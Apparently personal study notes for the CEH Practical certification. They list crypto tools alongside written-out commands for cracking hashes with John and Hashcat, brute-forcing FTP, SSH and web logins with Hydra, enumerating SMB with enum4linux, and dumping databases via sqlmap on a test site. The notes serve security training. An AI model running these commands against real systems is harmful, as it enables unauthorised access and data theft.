**Cryptography:**

<https://github.com/infovault-Ytube/CEH-Practical-Notes/blob/main/README.md>

<https://crackstation.net/>

<https://adithyanak.gitbook.io/ceh-practical/>

<http://www.cbtxpress.com/bootcampclass/Labs/Full%20CEH%20Practical%20Labs.asp>

**VeraCrypt** (Disk Encrypt/Decrypt) <https://www.veracrypt.fr/en/Beginner%27s%20Tutorial.html>

**wget** https://gitlab.com/kalilinux/packages/hash-identifier/-/raw/kali/master/hash-id.py **(To identify Hash)**

python3 hash-id.py **(To start hash identifier)**

**John**

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash1.txt **(To crack hashes)**

john hash1.txt --show --format=raw-md5 **(to see the password.)**

john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt ntlm.txt **(crack ntlm hash)**

unzip john

**HashCalc** (Calculate Hash of text/File by HashCalc in Windows)

**MD5Calculator in Windows**

**Hashcat**

Hashcat -a 3 -m 900 hash.txt /rockyou.txt

-a attack mode ,

-m hashtype

900 md4

1000 NTLM

1800 SHA512CRYPT

110 SHA1 with SALT HASH

0 MD5

100 SHA1

1400 SHA256

3200 BCRYPT

160 HMAC-SHA1

**CryptoForge:**

Encrypt data(photo,document,text) with Password and only be Decrypt with cryptoforge by giving password

file.cfe

file.cfd

**BCTextEncoder:**

only text and using AES-256 algorthem

Text Encode/Decode using password

**Hydra:**

hydra -l username -P /root/wordlist/Password.txt ftp://ip (for password bruteforce)

hydra -l <username> -P <full path to pass> 10.10.51.120 -t 4 ssh (for ssh login)

hydra -l <username> -P <wordlist> 10.10.51.120 http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V

hydra -L user.txt -p <password> ftp://ip (for user bruteforce)

**CrypTool**

Encode/Decode Text (File Extension is **.hex**)

File → New → Enter Text → Encrypt/Decrypt → Symmetric (Modern) → RC2 → KEY 05 → Encrypt

File → Open → Encrypt/Decrypt → Symmetric (Modern) → RC2 → KEY 05 → Decrypt

**Enum4Linux Wins Enumeration:**

enum4linux -u martin -p apple -U 10.10.10.12 -> Users Enumeration

enum4linux -u martin -p apple -o 10.10.10.12 -> OS Enumeration

enum4linux -u martin -p apple -P 10.10.10.12 -> Password Policy Information

enum4linux -u martin -p apple -G 10.10.10.12 -> Groups Information

enum4linux -u martin -p apple -S 10.10.10.12 -> Share Policy Information (SMB Shares Enumeration)

**Sql Injection** - python3 dsss.py -u http://testphp.vulnweb.com/artista.php?artist=1

sqlmap -u http://testphp.vulnweb.com/artist.php?artist=1 --dbs (to enumerate database)

sqlmap -u http://testphp.vulnweb.com/artist.php?artist=1 -D acuart --tables (D= to define database,tables=to show tables)

sqlmap -u http://testphp.vulnweb.com/artist.php?artist=1 -D acuart -T <tablename> --column (to show columns)

sqlmap -u http://testphp.vulnweb.com/artist.php?artist=1 -D acuart -T <tablename> --dump (to dump table)

Inspect element -> document.cookie

sqlmap -u <url> --cookie=<enter cookie> -D <databasename> --tables

sqlmap -u <url> --cookie=<enter cookie> -D <databasename> -T <tablename> --dump